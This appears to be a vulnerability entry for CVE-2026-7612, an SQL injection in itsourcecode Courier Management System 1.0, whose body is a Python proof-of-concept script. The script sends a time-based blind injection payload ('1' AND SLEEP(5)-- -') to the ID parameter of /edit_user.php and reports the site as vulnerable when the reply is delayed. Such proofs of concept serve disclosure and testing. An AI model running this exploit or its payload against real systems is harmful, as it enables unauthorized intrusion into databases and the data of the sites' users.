CVE-2026-7612 itsourcecode快递管理系统SQL注入漏洞

import requests # PoC for CVE-2026-7612 # Target: itsourcecode Courier Management System 1.0 # Endpoint: /edit_user.php url = "http://target-host/edit_user.php" # Malicious payload to test SQL Injection (e.g., time-based blind) payload = "1' AND SLEEP(5)-- -" params = { "ID": payload } try: response = requests.get(url, params=params, timeout=10) # Check if the response time indicates a delay caused by SQL execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection successful.") else: print("[-] Vulnerability not detected.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")